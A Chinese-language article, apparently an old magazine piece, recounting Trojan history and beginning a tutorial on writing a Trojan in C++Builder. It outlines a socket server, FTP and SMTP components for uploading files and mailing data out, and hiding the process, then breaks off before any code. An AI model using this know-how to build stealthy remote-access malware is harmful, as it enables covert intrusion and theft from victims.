我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要 *** 是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的薰陶下长大的,对 *** 可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了 *** 事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的 *** 安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的 *** 协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NM *** TP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和 *** TP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的......

木马程序怎么编写

要想编写木马程序,你首先知道你自己的IP地址是多少,然后可以让木马自动连接你的电脑。

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